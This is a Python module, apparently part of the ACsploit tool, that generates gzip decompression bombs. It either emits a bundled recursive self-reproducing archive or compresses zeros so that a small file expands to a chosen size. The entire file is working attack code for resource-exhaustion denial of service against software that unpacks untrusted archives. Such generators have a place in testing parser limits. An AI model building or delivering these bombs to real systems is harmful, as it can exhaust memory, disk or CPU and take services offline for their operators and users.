import gzip
import os
import io
from acsploit.options import Options

options = Options()
options.add_option('type', 'recursive', 'Type of bomb', ['single_file', 'recursive'])
options.add_option('target_size', 100000,
                   'Desired size of decompressed file in bytes (not applicable to recursive bombs)')

DESCRIPTION = 'Produces a gzip archive that expands into a very large file or set of files.\n\n\tThe "recursive" bomb ' \
              'produces a self-reproducing bomb that will continue to decompress unless a ' \
              'limit is set in the parser (see https://research.swtch.com/zip for a full description.) The "single_file" ' \
              'bomb creates a single file which decompresses to the target size in bytes. The single_file bomb may use ' \
              'significant resources when built for large target_size, as ACsploit compresses the payload itself. Use caution' \
              'when executing with this option.'
NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {
    'final_newline': False,
    'format': 'binary'
}


def run(output):
    if options['type'] == 'recursive':
        with open(os.path.dirname(os.path.realpath(__file__)) + '/bombs-DONOTOPEN/gz_recursive.gz', 'rb') as f:
            gzip_contents = f.read()
        output.output([gzip_contents])

    elif options['type'] == 'single_file':
        gzip_contents = singlefilebomb(options['target_size'])
        output.output([gzip_contents])


def singlefilebomb(target_size, file_size=100000):
    # io.BytesIO object allows for writing large files to gzip without consuming copious amounts of memory
    with io.BytesIO() as memfile:
        with gzip.open(memfile, 'w') as f:
            for i in range(target_size // file_size):
                f.write(b'0' * file_size)
            if target_size % file_size > 0:
                f.write(b'0' * (target_size % file_size))
        return memfile.getvalue()
